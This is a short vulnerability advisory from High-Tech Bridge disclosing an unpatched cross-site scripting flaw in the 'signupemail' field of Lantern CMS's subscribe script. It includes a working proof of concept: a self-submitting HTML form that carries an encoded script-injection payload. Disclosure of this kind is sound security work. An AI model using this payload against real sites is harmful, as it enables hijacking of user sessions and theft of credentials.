Vulnerability ID: HTB22620 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_lantern_cms.html Product: Lantern CMS Vendor: Lantern ( http://www.lanterncms.com/www/html/7-home-page.asp ) Vulnerable Version: Current at 18.09.2010 and Probably Prior Versions Vendor Notification: 22 September 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the subscribe script to properly sanitize user-supplied input in "signupemail" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form method="POST" name="m" action="http://host/www/html/7-home-page.asp";> <input type="hidden" name="signupemail" value="%27%22%3E%3Cimg+src%3Dx+onerror%3Dalert%2834%29%3E"> <input type="hidden" name="signupsubmit" value="Submit"> </form> <script> document.m.submit(); </script>
